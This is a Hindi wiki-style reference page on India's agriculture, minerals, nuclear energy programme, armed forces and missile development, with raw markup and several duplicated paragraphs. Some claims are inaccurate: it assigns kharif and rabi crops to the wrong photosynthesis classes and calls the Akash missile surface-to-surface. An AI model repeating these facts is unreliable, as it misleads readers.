देश में राष्ट्रीय आय का लगभग 28% कृषि से प्राप्त होता है। लगभग 70% जनसंख्या अपनी आजीविका के लिए कृषि पर निर्भर है। देश से होने वाले निर्यातों का बड़ा हिस्सा भी कृषि से ही आता है। ग़ैर कृषि-क्षेत्रों में बड़ी मात्रा में उपभोक्ता वस्तुएं एवं बहुतायत उद्योगों को कच्चा माल इसी क्षेत्र द्वारा भेजा जाता है।
 
 
 
भारत में पाँचवें दशक के शुरुआती वर्षों में अनाज की प्रति व्यक्ति दैनिक उपलब्धता 395 ग्राम थी, जो 1990-91 में बढ़कर 468 ग्राम, 1996-97 में 528.77 ग्राम, 1999-2000 में 467 ग्राम, 2000-01 में 455 ग्राम, 2001-02 में 416 ग्राम, 2002-03 में 494 ग्राम और 2003-04 में 436 ग्राम तक पहुँच गई। वर्ष 2005-06 में यह उपलब्धता प्रति व्यक्ति प्रतिदिन 412 ग्राम हो गई। विश्व में सबसे अधिक क्षेत्रों में दलहनी खेती करने वाला देश भी भारत ही है। इसके बावजूद प्रति व्यक्ति दाल की दैनिक उपलब्धता संतोषजनक नहीं रही है। इसमें सामान्यत: प्रति वर्ष गिरावट दर्ज़ की गई है। वर्ष 1951 में दाल की प्रति व्यक्ति दैनिक उपलब्धता 60.7 ग्राम थी वही यह 1961 में 69.0 ग्राम, 1971 में 51.2 ग्राम, 1981 में 37.5 ग्राम, 1991 में 41.6 ग्राम और 2001 में 30.0 ग्राम हो गई। वर्ष 2005 में प्रति व्यक्ति प्रतिदिन दाल की निवल उपलब्ध मात्रा 31.5 ग्राम तथा 2005-06 के दौरान 33 ग्राम प्रतिदिन प्रति व्यक्ति हो गई। भारत में ही सर्वप्रथम कपास का संकर बीज तैयार किया गया है। विभिन्न कृषि क्षेत्रों में आधुनिकतम एवं उपयुक्त प्रौद्योगिकी का विकास करने में भी भारतीय वैज्ञानिकों ने सफलता अर्जित की है।
 
 
 
फ़सल-चक्र विविधतापूर्ण हो गया है। हरित क्रान्ति के शुरू होने के बाद के समय में 1967-68 से 2005-06 तक कृषि उत्पादन की वार्षिक वृद्धि दर लगभग 2.45% रही। 1964-65 में खाद्यान्न उत्पादन 890 लाख टन से बढ़कर 1999-2000 में 2098 लाख टन, 2000-01 में 1968 लाख टन, 2001-02 में 2119 लाख टन, 2002-03 में 1748 लाख टन, 2003-04 में 2132 लाख टन, 2004-05 में 1984 लाख टन और 2005-06 में 2086 लाख टन हो गया जबकि 2006-07 के दौरान 2173 लाख खाद्यान्न उत्पांदन संभावित है। फ़सल-चक्र में परिवर्तन के परिणामस्वरूप सूरजमुखी, सोयाबीन तथा गर्मियों में होने वाली मूँगफली जैसी ग़ैर परम्परागत फ़सलों का महत्व बढ़ता जा रहा है। 1970-71 में कृषि उत्पादन सूचकांक 85.9 था। यह सूचकांक 1980-81 के सूचकांक 102.1 और 1990-91 के सूचकांक 148.4 से बढ़कर 2001-2002 में 178.8, 2002-03 में 150.4, 2003-04 में 182.8, 2004-05 में 177.3 और 2005-06 में यह सूचकांक 191.6 हो गया जबकि 2006-07 में यह सूचकांक 197.1 संभावित है। इसका मुख्य कारण चावल, गेहूँ, दाल, तिलहन, गन्ना तथा अन्य नक़दी फ़सलों की पैदावार में वृद्धि रही है।
 
 
 
भारत में मुख्य रूप से तीन फ़सलों बोई जाती है- यथा ख़रीफ़, रबी एवं गर्मी (ज़ायद)। ख़रीफ़ की फ़सल में मुख्य रूप से मक्का, ज्वार, बाजरा, धान, मूँगफली, सोयाबीन, अरहर आदि हैं। रबी की मुख्य फ़सलों में गेहूँ, जौ, चना, मटर, सरसों, तोरिया आदि है। गर्मी की फ़सलों में मुख्य रूप से सब्ज़ियाँ ही बोई जाती है। देश के कुल भौगोलिक क्षेत्र का 3287.3 लाख हेक्टेयर का 93.1% खेती के प्रयोग में लिया जाता है।
 
 
 
कृषि एक ऐसा व्यवसाय है जिसमें उत्पादन के बहुत से कारक हैं जिन पर कृषक या वैज्ञानिकों का कोई वश नहीं चलता हे। इस तरह के कारकों में जलवायु सबसे महत्वपूर्ण कारक है। विभिन्न स्थानों पर सामान्य मौसम-चक्र के अतिरिक्त भी कब मौसम कैसा हो जाएगा कोई पता नहीं। इसके अलावा फ़सलें जलवायु के अनुसार बदली जाती हैं न कि फ़सल के अनुसार जलवायु को। अतएव किसी स्थान पर कौन सी फसल के अनुसार जलवायु को। अतएव किसी स्थान पर कौन सी फ़सल बोई जाय यह वहाँ की जलवायु, मृदा, ऊँचाई, वर्षा आदि पर निर्भर करती हे।
 
 
 
====<u>भारतीय कृषि की विशेषताएँ</u>====
 
 
 
भारतीय कृषि की प्रमुख विशेषतायें इस प्रकार हैं-
 
# भारतीय कृषि की महत्वपूर्ण विशेषता जोत इकाइयों की अधिकता एवं उनके आकार का कम होना है।
 
# भारतीय कृषि में जोत के अन्तर्गत कुल क्षेत्रफल खण्डों में विभक्त है तथा सभी खण्ड दूरी पर स्थित हैं।
 
# भूमि पर प्रत्यक्ष एवं परोक्ष रूप से जनसंख्या का अधिक भार है।
 
# कृषि उत्पादन मुख्यतया प्रकृति पर निर्भर रहता है।
 
# भारतीय कृषक गरीबी के कारण खेती में पूँजी निवेश कम करता है।
 
# खाद्यान्न उत्पादन को प्राथमिकता दी जाती है।
 
# कृषि जीविकोपार्जन की साधन मानी जाती हें
 
# भारतीय कृषि में अधिकांश कृषि कार्य पशुओं पर निर्भर करता है।
 
# भारत की प्रचलित भूमिकिर प्रणाली भी दोषयुक्त है।
 
 
 
भूमि उपयोग- भारत में भूमि उपयोग में विविधता देखने को मिलती है। देश के कुल भौगोलिक क्षेत्रफल 3287.3 लाख हेक्टेयर में से 1950-51 में 404.8 लाख हेक्टेयर भूमि पर वन थे। 1998-99 में यह क्षेत्र बढ़कर 689.7 लाख हेक्टेयर और 2000-01 में 694-07 लाख हेक्टेयर हो गया। इसी अवधि में बुआई वाली भूमि 1,187.5 लाख हेक्टेयर से बढ़कर क्रमश: 1,426 लाख हेक्टेयर और 1,411.01 लाख हेक्टेयर हो गई। फ़सलों के प्रकार की दृष्टि से अगर देखा जाये तो कृषि वाले कुल क्षेत्रों में गैर-खाद्यान्न की अपेक्षा खाद्यान्न की कृषि अधिक होती रही है, किन्तु खाद्यान्न की कृषि जो 1950-51 में 76.7% भूमि पर हो रही थी, वह 1998-99 के दौरान घटकर 65.6% रह गई। कृषि गणना के अनुसार बड़ी जोत (10 हेक्टेयर और इससे अधिक) के अंतर्गत आने वाला क्षेत्र 1985-86 में 20.1% की अपेक्षा 1990-91 में घटकर 17.3% रह गया है। इसी प्रकार सीमांत जोत (1 हेक्टेयर से कम की जोत) के अंतर्गत आने वाला क्षेत्र 1985-86 में 13.4% से बढ़कर 1990-91 में 15% हो गया है।
 
 
 
====<u>भारतीय कृषि के प्रकार</u>====
 
 
 
भारतीय कृषि अनेक विविधताओं के युक्त है। जलवायविक भिन्नता, मिट्टी की उर्वरता, परिवर्तनशील मौसम, खेती करने के ढंग आदि से भारतीय कृषि प्रभावित है। उत्पादन की मात्रा तथा कृषि ढंग के आधार पर भारत की कृषि को शुद्ध और संकर कृषि के रूप में वर्गीकृत किया जा सकता है। शुद्ध कृषि मूलत: परंपरागत प्रकार की कृषि है जिसके द्वारा कृषकों की केवल मूलभूत आवश्यकताओं की पूर्ति हो पाती है।
 
 
 
====<u>सस्य विज्ञान</u>====
 
 
 
सस्य विज्ञान (Agronomy) कृषि की वह शाखा है, जिसके अन्तर्गत फसल उत्पादन तथा भूमि प्रबन्ध के सिद्धान्तों और कृषि क्रियाओं का अध्ययन किया जाता है।
 
फसलों का महत्व- पृथ्वी पर रहने वाले सभी जीव-जन्तुओं की जीवन परोक्ष या प्रत्यक्ष रूप से वनस्पतियों पर निर्भर करता है। वनस्पति से जीव-जन्तुओं को भोजन तथा आक्सीजन के अलावा जनसंख्या हेतु वस्त्र, आवास एवं दवाओं आदि की पूर्ति भी की जाती है।
 
 
 
====<u>फ़सलों का वर्गीकरण</u>====
 
*जीवन चक्र के अनुसार वर्गीकरण
 
#एक वर्षी- ये फ़सलें अपना जीवन चक्र एक वर्ष अथवा इससे कम समय में पूरा करती है, जैसे – धान, गेहूँ, जौ, चना, सोयाबीन आदि।
 
#द्विवर्षी- ऐसे पौधों में पहले वर्ष वानस्पतिक वृद्धि होती है और दूसरे वर्ष उनमें फूल तथा बीज बनते हैं। यानी वे अपना जीवन चक्र दो वर्षों में पूरा करते हैं। यथा चुकन्दर, गन्ना आदि।
 
#बहुवर्षी- ऐसे पौधे अनेक वर्षों तक जीवित रहते हैं। परन्तु इनके जीवन चक्र में प्रतिवर्ष या एक वर्ष के अन्तराल पर फूल और फल आते हैं और जीवन चक्र पूरा हो जाता है। जैसे- लूसर्न, नेपियर घास।
 
 
 
*ऋतुओं के आधार पर वर्गीकरण
 
# ख़रीफ़- इन फसलों को बोते समय अधिक तापमान एवं आर्द्रता तथा पकते समय शुष्क वातावरण की आवश्यकता होती है। उत्तर भारत में इनको जून-जुलाई में बोते हैं। धान, मक्का, ज्वार, बाजरा, मूँग, मूँगफली, गन्ना आदि इस ऋतु की प्रमुख फ़सलें हैं। ख़रीफ़ की फ़सलें C3  श्रेणी में आती हैं। इस श्रेणी के पौधे में जल उपयोग क्षमता और प्रकाश संश्लेषण पर दोनों ही अधिक होती है जबकि प्रकाश-श्वसन दर कम होती है।
 
# रबी-  इन फ़सलों को बोआई के सयम कम तापमान तथा पकते समय शुष्क और गर्म वातावरण की आवश्यकता होती है। ये फ़सलें सामान्यत: अक्टूबर-नवम्बर के महीनों में बोई जाती हैं। गेहूँ, जौ, चना, मसूर, सरसों, बरसीम आदि इस वर्ग की प्रमुख फसलें हैं। रबी फसलें, C4 श्रेणी में आती हैं। इस श्रेणी के पौधे की विशेषता है कि इनमें जल उपयोग क्षमता एवं प्रकाश-संश्लेषण दर दोनों ही कम होती है। इस प्रकार, इन पौधों में दिन के प्रकाश में भी श्वसन एवं प्रकाश-संश्लेषण की क्रिया संपन्न होती है।
 
# ज़ायद- इस वर्ग की फ़सलों में तेज गर्मी और शुष्क हवाएं सहन करने की अच्छी क्षमता होती है। उत्तर भारत में ये फसलें मुख्यत: मार्च-अप्रैल में बोई जाती हैं। तरबूज, ककड़ी, खीरा आदि इस वर्ग की प्रमुख फ़सलें हैं।
 
  
 
==खनिज संपदा==
 
==खनिज संपदा==
[[स्वतंत्रता दिवस|स्वतंत्रता प्राप्ति]] के पश्चात भारत में [[खनिज|खनिजों]] के उत्पादन में निरन्तर वृद्धि हुई है। कोयला, लौह, अयस्क, बॉक्साइड आदि का उत्पादन निरंतर बढ़ा है। 1951 में सिर्फ 83 करोड़ रुपये के खनिजों का खनन हुआ था, परन्तु [[1970]]-[[1971|71]] में इनकी मात्रा बढ़कर 490 करोड़ रुपये हो गई। अगले 20 वर्षों में खनिजों के उत्पादन में अभूतपूर्व वृद्धि हुई। 2001-02 में निकाले गये खनिजों का कुल मूल्य 58,516.36 करोड़ रुपये तक पहुँच गया जबकि 2005-06 के दौरान कुल 75,121.61 करोड़ रुपये मूल्य के खनिजों का उत्पादन किया गया। यदि मात्रा की दृष्टि से देखा जाये, तो भारत में खनिजों की मात्रा में लगभग तिगुनी वृद्धि हुई है, उसका 50% भाग सिर्फ पेट्रोलियम और प्राकृतिक गैस के कारण तथा 40% कोयला के कारण हुआ है। अन्य शब्दों में 2005-06 में कुल खनिज मूल्य (75,121.61 करोड़ रु) में से पेट्रोलियम और प्राकृतिक गैस से 26,851.31 करोड़ रुपये तथा कोयला और लिग्नाइट से 29,560.75 करोड़ रुपये के मूल्य शामिल हैं। शेष 11,575.35 करोड़ रुपये मूल्य के अन्य धात्विक तथा अधात्विक खनिज थे।
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{{Main|खनिज}}
 
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[[स्वतंत्रता दिवस|स्वतंत्रता प्राप्ति]] के पश्चात् भारत में [[खनिज|खनिजों]] के उत्पादन में निरन्तर वृद्धि हुई है। [[कोयला]], [[लौह अयस्क]], [[बॉक्साइट]] आदि का उत्पादन निरंतर बढ़ा है। 1951 में सिर्फ़ 83 करोड़ रुपये के खनिजों का खनन हुआ था, परन्तु [[1970]]-[[1971|71]] में इनकी मात्रा बढ़कर 490 करोड़ रुपये हो गई। अगले 20 वर्षों में खनिजों के उत्पादन में अभूतपूर्व वृद्धि हुई। 2001-02 में निकाले गये खनिजों का कुल मूल्य 58,516.36 करोड़ रुपये तक पहुँच गया जबकि 2005-06 के दौरान कुल 75,121.61 करोड़ रुपये मूल्य के खनिजों का उत्पादन किया गया। यदि मात्रा की दृष्टि से देखा जाये, तो भारत में खनिजों की मात्रा में लगभग तिगुनी वृद्धि हुई है, उसका 50% भाग सिर्फ़ [[पेट्रोलियम]] और [[प्राकृतिक गैस]] के कारण तथा 40% कोयला के कारण हुआ है।  
{{खनिज संपदा सूची1}}
 
 
 
==ऊर्जा और ईंधन==
 
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|+ '''बिजली, कोयला, तेल और गैस'''
 
|- valign="top"
 
|
 
{{बाँध सूची1}}{{ईंधन सूची1}}
 
|}
 
====<u>परमाणु ऊर्जा</u>====
 
भारत का परमाणु ऊर्जा विभाग तीन चरणों में नाभिकीय ऊर्जा कार्यक्रम चला रहा है-
 
#पहले चरण में दाबित गुरुजल रिएक्टरों (पी एच डब्ल्यू आर) और उनसे जुड़े ईंधन-चक्र के लिए विधा को स्थापित किया जाना है। ऐसे रिएक्टरों में प्राकृतिक यूरेनियम को ईंधन के रुप में गुरुजल को मॉडरेटर एवं कूलेंट के रुप में प्रयोग किया जाता है।
 
#दूसरे चरण में फास्ट ब्रीडर रिएक्टर बनाने का प्रावधान है, जिनके साथ पुनः प्रसंस्करण संयंत्र और प्लूटोनियम-आधारित ईंधन संविचरण संयंत्र भी होंगे। प्लूटोनियम को यूरेनियम 238 के विखंडन से प्राप्त किया जाता है।
 
#तीसरा चरण थोरियम-यूरेनियम-233 चक्र पर आधारित है। यूरेनियम-233 को थोरियम के विकिरण से हासिल किया जाता है।
 
=====पहला चरण=====
 
नाभिकीय ऊर्जा कार्यक्रम के प्रथम चरण का उपयोग व्यावसायिक क्षेत्रों में हो रहा है। भारतीय नाभिकीय ऊर्जा निगम लिमिटेड (एन.पी.सी.आई.एल.) परमाणु ऊर्जा विभाग की सार्वजनिक क्षेत्र की इकाई है जिस पर नाभिकीय रिएक्टरों के डिजाइन, निर्माण और संचालन का दायित्व है। कम्पनी 17 रिएक्टर्स (दो उबलते जल वाले रिएक्टर और 15 दाबित गुरुजल रिएक्टर) का संचालन करती है जिनकी कुल क्षमता 4120 मेगावॉट है। एनपीसीआईएल 03 पीएचडब्ल्यू रिएक्टर्स का तथा दो हल्के जल रिएक्टर्स का निर्माण का रही है जिससे इसकी क्षमता वर्ष 2008 तक बढ़ का 6780 मेगा इलेक्ट्रिक वॉट हो जाएगी।
 
=====द्वितीय चरण=====
 
फा‍स्‍ट ब्रीडर कार्यक्रम तकनीकी प्रदर्शन के चरण में है। दूसरे चरण का अनुभव प्राप्‍त करने के लिए इंदिरा गांधी परमाणु अनुसंधान केन्‍द्र (आई. जी. सी. ए. आर.) तरल सोडियम द्वारा ठंडे किए जा रहे फास्‍ट ब्रीडर रिएक्‍टरों के डिजाइन और विकास में लगा है। इसने फास्‍ट ब्रीडर रिएक्‍टर प्रौद्योगिकी विकसित करने में सफलता हासिल कर ली है। इसके 500 मेगावाट क्षमता के प्रोटोटाइप फास्‍ट ब्रीडर रिएक्‍टर (पी.एफ.बी.आर.) का निर्माण कलपक्‍कम में शुरू कर दिया गया है। इन परियोजनाओं को लागू करने के लिए नई कंपनी भारतीय नाभिकीय विद्युत निगम (बीएचएबीआरएनआई) ‘भाविनी’ द्वारा वर्ष 2010-11 तक दक्षिणी ग्रिड को 500 मेगा इलेक्ट्रिक वाट विद्युत की आपूर्ति की जा सकेगी।
 
=====तृतीय चरण=====
 
नाभिकीय उर्जा कार्यक्रम का तीसरा चरण तकनीकी विकास के चरण में है। बार्क में 300 मेगावाट के उन्‍नत गुरुजल रिएक्‍टर (ए.एच.डब्‍लू.आर.) का विकास कार्य चल रहा है ताकि थोरियम इस्‍तेमाल में विशेषज्ञता हासिल हो सके और सुरक्षा के पुख्‍ता तरीकों का प्रदर्शन हो जाए। थोरियम आधारित प्रणालियों जैसे एएचडब्‍ल्यूआर को व्‍यावसायिक इस्‍तेमाल के लिए तभी स्‍थापित किया जा सकता है जबकि फास्‍ट ब्रीडर रिएक्‍टर के आधार पर उच्‍च क्षमता का निर्माण कर लिया जाए।
 
 
==रक्षा==
 
==रक्षा==
 
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{{Main|भारतीय सशस्त्र सेना}}
====<u>भारतीय सेना</u>====
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भारत की रक्षा नीति का प्रमुख उद्देश्य यह है कि भारतीय उपमहाद्वीप में उसे बढ़ावा दिया जाए एवं स्थायित्व प्रदान किया जाए तथा देश की रक्षा सेनाओं को पर्याप्त रूप से सुसज्जित किया जाए, ताकि वे किसी भी आक्रमण से देश की रक्षा कर सकें। वर्ष 1946 के पूर्व भारतीय रक्षा का पूरा नियंत्रण अंग्रेज़ों के हाथों में था। उसी वर्ष केंद्र में अंतरिम सरकार में पहली बार एक भारतीय देश के रक्षा मंत्री बलदेव सिंह बने। हालांकि कमांडर-इन-चीफ एक अंग्रेज़ ही रहा । 1947 में देश का विभाजन होने पर भारत को 45 रेजीमेंटें मिलीं, जिनमें 2.5 लाख सैनिक थे। शेष रेजीमेंट पाकिस्तान चली गयीं। गोरखा फ़ौज की 6 रेजीमेंट (लगभग 25,000 सैनिक) भी भारत को मिलीं। शेष गोरखा सैनिक ब्रिटिश सेना में सम्मिलित हो गये। ब्रिटिश सेना की अंतिम टुकड़ी सामरसैट लाइट इन्फैंट्री की पहली बटालियन हो गयी। ब्रिटिश सेना की अंतिम टुकड़ी सामरसैट लाइट इन्फैंट्री की पहली बटालियन भारतीय भूमि से 28 फ़रवरी, 1948 को स्वदेश रवाना हुई।  
 
 
भारत की रक्षा नीति का प्रमुख उद्देश्य यह है कि भारतीय उपमहाद्वीप में उसे बढ़ावा दिया जाए एवं स्थायित्व प्रदान किया जाए तथा देश की रक्षा सेनाओं को पर्याप्त रूप से सुसज्जित किया जाए, ताकि वे किसी भी आक्रमण से देश की रक्षा कर सकें। वर्ष 1946 के पूर्व भारतीय रक्षा का पूरा नियंत्रण अंग्रेज़ों के हाथों में था। उसी वर्ष केंद्र में अंतरिम सरकार में पहली बार एक भारतीय देश के रक्षा मंत्री बलदेव सिंह बने। हालांकि कमांडर-इन-चीफ एक अंग्रेज़ ही रहा । 1947 में देश का विभाजन होने पर भारत को 45 रेजीमेंटें मिलीं, जिनमें 2.5 लाख सैनिक थे। शेष रेजीमेंटं पाकिस्तान चली गयीं। गोरखा फौज की 6 रेजीमेंटं (लगभग 25,000 सैनिक) भी भारत को मिलीं। शेष गोरखा सैनिक ब्रिटिश सेना में सम्मिलित हो गये। ब्रिटिश सेना की अंतिम टुकड़ी सामरसैट लाइट इन्फैंट्री की पहली बटालियन हो गयी। ब्रिटिश सेना की अंतिम टुकड़ी सामरसैट लाइट इन्फैंट्री की पहली बटालियन भारतीय भूमि से 28 फरवरी, 1948 को स्वदेश रवाना हुई। कुछ अंग्रेज़ अफ़सर परामर्शक के रूप में कुछ समय तक भारत में रहे लेकिन स्वतंत्रता के पहले क्षण से ही भारतीय सेना पूर्णत: भारतीयों के हाथों में आ गयी थी। स्वतंत्रता के तुरंत पश्चात भारत सरकार ने भारतीय सेना के ढांचे में कतिपय परिवर्तन किये। थल सेना, वायु सेना एवं नौसेना अपने-अपने मुख्य सेनाध्यक्षों के अधीन आयी। भारतीय रियासतों की सेना को भी देश की सैन्य व्यवस्था में शामिल कर लिया गया। 26 जनवरी, 1950 को देश के गणतंत्र बनने पर भारतीय सेनाओं की संरचनाओं में आवश्यक परिवर्तन किये गये।
 
{{प्रक्षेपास्त्र सूची1}}
 
भारत की रक्षा सेनाओं का सर्वोच्च कमांडर भारत का राष्ट्रपति है, किन्तु देश रक्षा व्यवस्था की जिम्मेदारी मंत्रिमंडल की है। रक्षा से संबंधित सभी महत्वपूर्ण मामलों का फैसला राजनीतिक कार्यों संबंधी मंत्रिमंडल समिति (कैबिनेट कमेटी ऑन पॉलिटिकल अफेयर्स) करती है, जिसका अध्यक्ष प्रधानमंत्री होता है। रक्षा मंत्री सेवाओं से संबंधित सभी विषयों के बारे में संसद के समक्ष उत्तरदायी है। रक्षा मंत्रालय का प्रमुख रक्षा मंत्री है और सबसे बड़ा वित्तीय अधिकारी रक्षा मंत्रालय का वित्तीय सलाहकर होता है। रक्षा मंत्रालय में चार विभाग है- (1) रक्षा विभाग, (2) रक्षा उत्पादन विभाग, (3) रक्षा आपूर्ति विभाग और (4) रक्षा विज्ञान एवं अनुसंधान विभाग। रक्षा मंत्रालय देश की रक्षा करने और सशस्त्र सेनाओं - स्थल सेना, नौ सेना और वायु सेना के साज-सामान जुटाने और उनका प्रशासन चलाने के लिए उत्तरदायी है। रक्षा मंत्रालय भारत की रक्षा सशस्त्र सेनाओं अर्थात थल सेना, नौ सेना और वायु सेना के गठन और उनके प्रशासन, सशस्त्र सेनाओं के लिए अस्त्र-शस्त्र, गोला-बारूद, पोत, विमान, वाहन, उपकरण और साज-सामान की व्यवस्था करने, अभी तक आयात होने वाली मदों को देश के भीतर निर्मित करने की क्षमता स्थापित करने और रक्षा के क्षेत्र में अनुसंधान एवं विकास को बढ़ावा देने के लिए सीधे उत्तरदायी है। इस मंत्रालय की कुछ अन्य जिम्मेदारियाँ हैं- मंत्रालय से संबद्ध असैनिक सेवाओं पर नियंत्रण, कैन्टोनमेंट बनाना, उनके क्षेत्र का निर्धारण करना और रक्षा सेवा कर्मचारियों के लिए आंवास सुविधाओं का विनिमयन करना। भारत की सशस्त्र सेनाओं में तीन मुख्य सेवायें हैं- थल-सेना, नौसेना और वायु सेना। ये तीनों सेवायें एक सेनाध्यक्ष अर्थात क्रमश: स्थल सेनाध्यक्ष, नौ सेनाध्यक्ष और वायु सेनाध्यक्ष के अधीन हैं। ये तीनों सेनाध्यक्ष जनरल या इसके बराबर पद वाले होते हैं। इन तीनों सेनाध्यक्षों की एक सेनाध्यक्ष समिति है। इस समिति की अध्यक्षता यही तीनों सेनाध्यक्ष अपनी वरिष्ठता के आधार पर करते हैं। इस समिति की सहायता के लिए उप-समितियां होती हैं जो विशेष समस्याओं जैसे आयोजन, प्रशिक्षण, संचार आदि का काम देखती हैं।
 
 
 
आज भारत की थल सेना विश्व की सबसे बड़ी स्थल सेनाओं में चौथे स्थान पर, वायु सेना पांचवें स्थान पर और नौ सेना सातवें स्थान पर मानी जाती है। सेना के प्रमुख सहायक संगठन हैं- (1)प्रादेशिक सेना (2) तट रक्षक, (3) सहायक वायु सेना और (4) एन. सी. सी. जिसमें स्थल सेना, नौ सेना और वायु सेना तीनों पार्श्व होते हैं।
 
 
 
'''भारतीय थल सेना'''
 
{{मिसाइल सूची1}}
 
सेना को अधिकतर थल सेना ही समझा जाता है, यह ठीक भी है क्योंकि रक्षा-पक्ति में थल सेना का ही प्रथम तथा प्रधान स्थान है। इस समय लगभग 13 लाख सैनिक-असैनिक थल सेना में भिन्न-भिन्न पदों पर कार्यरत हैं, जबकि 1948 में सेना में लगभग 2,00,000 सैनिक थे। थल सेना  का मुख्यालय नई दिल्ली में है। भारतीय थल सेना के प्रशासनिक एवं सामरिक कार्य संचालन का नियंत्रण थल सेनाध्यक्ष करता है।
 
थल सेनाध्यक्ष की सहायता के लिए थलसेना के वाइस चीफ, तथा चीफ स्टाफ अफसर होते हैं। इनमें डिप्टी चीफ आफ आर्मी स्टाफ, एडजुटेंट-जनरल, क्वार्टर मास्टर-जनरल, मास्टर-जनरल आफ आर्डनेन्स और सेना सचिव तथा इंजीनियर-इन-चीफ सम्मिलित हैं। थल सेना 6 कमानों में संगठित है- (1) पश्चिमी कमान (मुख्यालय: शिमला) (2) पूर्वी कमान (कोलकाता) (3) उत्तरी कमान (उधमपुर) (4) दक्षिणी कमान (पुणे) (5) मध्य कमान (लखनऊ) एवं (6) दक्षिणी-पश्चिमी कमान (जयपुर)। दक्षिण-पश्चिम कमान का गठन 15 अप्रैल, 2005 को किया गया । इसका मुख्यालय जयपुर में स्थापित किया गया है। यह थल सेना की सबसे बड़ी कमान है।
 
 
 
भारत में प्रक्षेपास्त्र कार्यक्रम का विकास इस प्रकार हुआ-
 
*1967 में भारत ने अंतरिक्ष शोध और उपग्रह प्रक्षेपास्त्र कार्यक्रम प्रारम्भ किया और वर्ष 1972 तक रॉकेट रोहिणी-560 का परीक्षण कर लिया गया। रोहिणी-560 की मारक क्षमता लगभग 100 किलो भार के साथ 334 किलोमीटर दूर तक थी।
 
*1979 में भारत ने पहली बार उपग्रह प्रक्षेपण यान 'एसएलवी-3' अंतरिक्ष बूस्टर का प्रक्षेपण किया।
 
*1980 में 35 किलो भार वाले रोहिणी-1 उपग्रह का सफल प्रक्षेपण किया गया।
 
*1983 में भारत के 'रक्षा अनुसंधान और विकास संस्थान' (डी आर डी ओ) ने एकीकृत प्रक्षेपास्त्र विकास कार्यक्रम की घोषणा की जिसमें पाँच प्रक्षेपास्त्र विकसित किए जाने थे-
 
#पृथ्वी जो सतह से सतह पर मार करने वाला प्रक्षेपास्त्र है (तरल ईंधन वाला बैलिस्टिक प्रक्षेपास्त्र)।
 
##पृथ्वी-1 जिसकी मारक क्षमता डेढ़ सौ किलोमीटर, एक हज़ार किलोग्राम की क्षमता है। यह सेना के लिए है।
 
##पृथ्वी-2 जिसकी मारक क्षमता ढाई सौ किलोमीटर, पाँच सौ किलोग्राम की क्षमता है।  यह वायु सेना के लिए है।
 
##पृथ्वी-3 जिसकी मारक क्षमता साढ़े तीन सौ किलोमीटर, पाँच सौ किलोग्राम की क्षमता है। यह नौसेना के लिए है।
 
#अग्नि जो सतह से सतह पर मार करने वाला प्रक्षेपास्त्र है और जिसकी क्षमता डेढ़ हज़ार किलोमीटर है। यह एक हज़ार किलोग्राम भार वाला अस्त्र ले जा सकता है। इस प्रक्षेपास्त्र का पहला चरण एसएलवी-3 के ठोस ईंधन वाले मोटर का और दूसरा चरण तरल ईंधन वाले पृथ्वी का प्रयोग करता है।
 
#आकाश जो सतह से सतह पर मार करने वाला लंबी दूरी का प्रक्षेपास्त्र है। यह 55 किलोग्राम वजन का अस्त्र ले जा सकता है और अधिकतम 25 किलोमीटर की दूरी तक यह एक साथ पाँच विमानों को निशाना बना सकता है।
 
#त्रिशूल जो सतह से सतह पर या सतह से हवा में मार करने वाला कम दूरी का प्रक्षेपास्त्र है। इसकी मारक दूरी 50 किलोमीटर है और यह रडार के निर्देशों से कार्य करता है।
 
#नाग जो टैंक रोधी प्रक्षेपास्त्र है। यह लगभग चार किलोमीटर की क्षमता वाला प्रक्षेपास्त्र है और निर्देशों के लिए संवेदी प्रौद्योगिकी पर बना है।
 
*1987 में भारत ने आधुनिक उपग्रह प्रक्षेपण यान (ए एस एल वी) का परीक्षण प्रारम्भ किया। चार हज़ार किलोमीटर की क्षमता वाले इस प्रक्षेपण की क्षमता डेढ़ सौ किलोग्राम है। इसमें तीन उपग्रह प्रक्षेपण यान रहते हैं।
 
*1988 में भारत ने 'पृथ्वी' की परीक्षण उड़ान का परीक्षण किया। भारत ने ध्रुवीय उपग्रह प्रक्षेपण यान (पी एस एल वी) के निर्माण की घोषणा की जिसकी क्षमता लगभग आठ हज़ार किलोमीटर थी।  एक हज़ार किलो वजन की क्षमता के इस यान से एक टन का उपग्रह ध्रुवीय कक्षा में स्थापित किया सकता था। यदि इस यान को हथियार प्रणाली की भाँति किया जाए तो यह परमाणु अस्त्र को एक महाद्वीप से दूसरे महाद्वीप तक ले जाने में सक्षम है।
 
*1989 में भारत ने अग्नि का परीक्षण किया और नवंबर में नाग का परीक्षण किया।
 
*1994 के मध्य तक पृथ्वी-1 का प्रारम्भिक उत्पादन प्रारम्भ हो गया था। भारतीय सेना ने 100 पृथ्वी-1 प्रक्षेपास्त्र लेने का आदेश दिया जिसे उसकी 333 प्रक्षेपास्त्र ग्रुप के साथ तैनात किया जाना था।
 
*1996 में भारत ने कहा कि वह 'भू-समकालिक उपग्रह प्रक्षेपण यान' विकसित कर रहा है। भारत की योजना जनवरी माह में रूस की जी एस एल वी के लिए सात क्रायोजेनिक इंजन देने की योजना थी।
 
*1998 में भारत में 'भारतीय जनता पार्टी' ने 'पृथ्वी प्रक्षेपास्त्रों' का उत्पादन अधिक करने की योजना के साथ ही मध्यम दूरी के 'अग्नि प्रक्षेपास्त्र' विकसित करने का भी फ़ैसला लिया।
 
*क्लिंटन प्रशासन के वरिष्ठ अधिकारी ने अमेरीका में कहा कि भारत के पास 'सागरिका' नाम का समुद्र से जुड़ा प्रक्षेपास्त्र है। सागरिका की क्षमता 200 मील की है और वह परमाणु अस्त्र ले जाने में सक्षम है।
 
*11मई भारत ने त्रिशूल का सफल परीक्षण किया है। यह सतह से सतह और सतह से हवा में मारने वाला प्रक्षेपास्त्र है।
 
==अंतरिक्ष कार्यक्रम==
 
{{केन्द्र और इकाइयां सूची1}}
 
